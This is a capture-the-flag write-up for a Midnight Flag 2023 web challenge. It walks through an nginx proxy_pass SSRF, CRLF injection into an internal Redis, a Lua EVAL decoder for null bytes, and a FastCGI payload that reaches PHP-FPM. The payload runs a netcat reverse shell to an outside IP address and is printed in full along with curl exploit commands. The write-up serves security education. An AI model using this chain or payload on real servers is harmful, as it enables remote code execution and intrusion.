title: Comme dans une chaussette
date: Apr 16, 2023
tags: Writeup Web RCE midnightflag2023
Difficulty: 496 points | 6 solves
Description: A company that proposes to sanitize inputs for you, does that tempt you?
This is the beta version, and I heard that they log everything to train their AI model.
Take control of the server to check if all this is true!
Additional information:
Sources: comme_dans_une_chaussette.zip
You have all the files in the .zip provided to you (the flag file name as well as the webroot changes on the remote), there is no point in attacking the challenge directly if you don't have a working payload locally.
To launch the challenge on your computer:
unzip as_in_a_sock.zip && docker-compose up -d --build
Author: Worty
This web challenge exposes a simple web application which provides parameters sanitization. All the source code information is given with which makes it possible to build it locally.
Looking into the application source code makes possible to quickly see that there is nothing to do with the web application. Indeed, the challenge isn't limited to the PHP application.
FROM richarvey/nginx-php-fpm:latest
WORKDIR /root
RUN apk add make gcc musl-dev
RUN wget http://download.redis.io/redis-stable.tar.gz && \
tar xvzf redis-stable.tar.gz && \
cd redis-stable/deps/ && \
make lua hiredis linenoise jemalloc && \
cd .. && \
make && \
cp src/redis-server /usr/local/bin/
COPY ./nginx/default.conf /etc/nginx/sites-available/
COPY ./nginx/nginx.conf /etc/nginx/
COPY ./www/ /var/www/html/
COPY ./www.conf.default /usr/local/etc/php-fpm.d/
COPY ./zz-docker.conf /usr/local/etc/php-fpm.d/
COPY ./start.sh /root
COPY ./redis_logger.py /root
COPY ./flag.txt /
RUN apk add python3 && \
pip3 install redis && \
echo "* * * * * python3 /root/redis_logger.py '127.0.0.1'" > /var/spool/cron/crontabs/root && \
crontab /var/spool/cron/crontabs/root
CMD ["bash","/root/start.sh"]
As we can see from the above screenshot, the application uses PHP-FPM FastCGI to execute PHP scripts depending on requests made to an nginx proxy. In addition, a redis server seems to be used to mailing schedule tasks via redis_logger.py crontab.
import redis
import sys
import socket
host = sys.argv[1]
port = 6379
try:
r = redis.Redis(host=host, port=port, db=0)
except:
f = open("/root/redis_error","w")
f.write("[-] Unable to join redis instance\n")
f.close()
exit(-1)
for key in r.keys():
data = r.get(key)
#send the data to the php-fpm to send email
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/php-fpm.sock")
sock.sendall(data)
Looking into nginx configuration can be a good start to go as it is the entry point of our HTTP queries.
server {
listen 80;
listen [::]:80 default ipv6only=on;
root /var/www/html;
index index.php index.html index.htm;
...
#dev endpoint to reach internal dev environment, check here to not be used by users
location /dev/ {
allow 127.0.0.1;
deny all;
}
location ~ /dev/(.*)/(.*) {
resolver 172.20.0.1;
proxy_pass http://$1$uri;
proxy_set_header Host $1;
}
}
In the above configuration file, something might have caught your eyes: proxy_pass http://$1$uri. Actually, we control the URL which is used inside the nginx proxy_pass directive. In addition, the regex used to catch our input is very permissive and allows to use any chars we want.
Nice but, how could this configuration be useful in the challenge context?
In fact, this configuration is vulnerable to open proxy which allows us to interact directly with the internal network. In addition, proxy_pass directive has an interesting property: it URL decode any bytes which pass the regex and copy them to the subquery! Thus, thanks to it, we might be able to interact with the internal redis server!
curl http://localhost/dev/127.0.0.1:4444/%0D%0AI%20control%20the%20request0D%0AX-Header:%20
Now that we know how to abuse the open proxy vulnerability to hit the internal, we need to find a way to abuse it to control redis keys.
That's a good idea, but I heard that it wasn't possible anymore to SSRF to redis :/
This isn't 100% right, in fact, mitigations that have been implemented by nginx team only close the connection in these cases: (source | great research)
Thus, any injection before Host: header with a non POST method is processed by the redis server! For example, the following HTTP query would be valid for redis:
curl -X MSET http://localhost/dev/127.0.0.1:4444/random%201%20a%201%0D%0ASET%20b%202%0D%0AX-Header:%20
Redis interaction
:curl -X MSET http://localhost/dev/127.0.0.1:6379/random%201%20a%201%0D%0ASET%20b%202%0D%0AX-Header:%20
The next step in the exploitation is to find a way to get the flag thanks to this injection. It is important to know that RCE via redis EVAL command are only possible if a lua sandbox bypass exists which is not the case for the host configuration at the time of the CTF. So, a good way to continue is to take a look into the redis_logger.py crontab.
* * * * * python3 /root/redis_logger.py '127.0.0.1'
import redis
import sys
import socket
host = sys.argv[1]
port = 6379
try:
r = redis.Redis(host=host, port=port, db=0)
except:
f = open("/root/redis_error","w")
f.write("[-] Unable to join redis instance\n")
f.close()
exit(-1)
for key in r.keys():
data = r.get(key)
#send the data to the php-fpm to send email
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/php-fpm.sock")
sock.sendall(data)
As we can see, the redis_logger.py script is executed each 1 minute. Basically, the script takes all redis keys and send their values into the php-fpm socket. This setup is really interesting for us because, the Gopherus tool provides a fast way to generate RCE payload in case we:
And yes, We have everything go to go further! 🔥
Firstly, we can try this payload from the docker challenge:
from urllib.parse import unquote
import socket
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH79%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00O%04%00%3C%3Fphp%20system%28%27nc%2054.36.103.138%205555%20-e%20sh%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM);
sock.connect("/var/run/php-fpm.sock")
sock.sendall(payload.encode())
Et voila 🎉 We get the last brick the challenge!
Now, it is time to forge the final payload that is going to be used on the remote server! So, if we recap, we need to:
Hummmm... You sure? because locally my nginx refuse the payload...
Yes... this because according to the URI RFC, a URL can't contain NULL bytes. To override this restriction, we have several possibilities:
As I wasn't aware that the first possibility was even possible from nginx during the CTF, I used the second option:
local hs = "48656c6c6f20576f726c64"; local ds = ""; for i=1,#hs,2 do local byte = tonumber(hs:sub(i,i+1), 16); ds = ds .. string.char(byte); end;
EVAL 'local hs = "48656c6c6f20576f726c64"; local ds = ""; for i=1,#hs,2 do local byte = tonumber(hs:sub(i,i+1), 16); ds = ds .. string.char(byte); end; redis.call("SET", "a", ds)' 0
Thus, thanks to the EVAL
command, it is possible to decode and set the byte output into a redis
variable!
from urllib.parse import unquote
from base64 import b16encode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH79%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00O%04%00%3C%3Fphp%20system%28%27nc%2054.36.103.138%205555%20-e%20sh%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
b16encode(payload.encode())
curl -X MSET "http://localhost/dev/127.0.0.1:6379/a%0D%0AEVAL%20%27local%20hs%20%3D%20%22{{HEX-PAYLOAD-HERE}}%22%3B%20local%20ds%20%3D%20%22%22%3B%20for%20i%3D1%2C%23hs%2C2%20do%20local%20byte%20%3D%20tonumber%28hs%3Asub%28i%2Ci%2B1%29%2C%2016%29%3B%20ds%20%3D%20ds%20..%20string.char%28byte%29%3B%20end%3B%20redis.call%28%22SET%22%2C%20%22a%22%2C%20ds%29%27%200%0D%0AX:"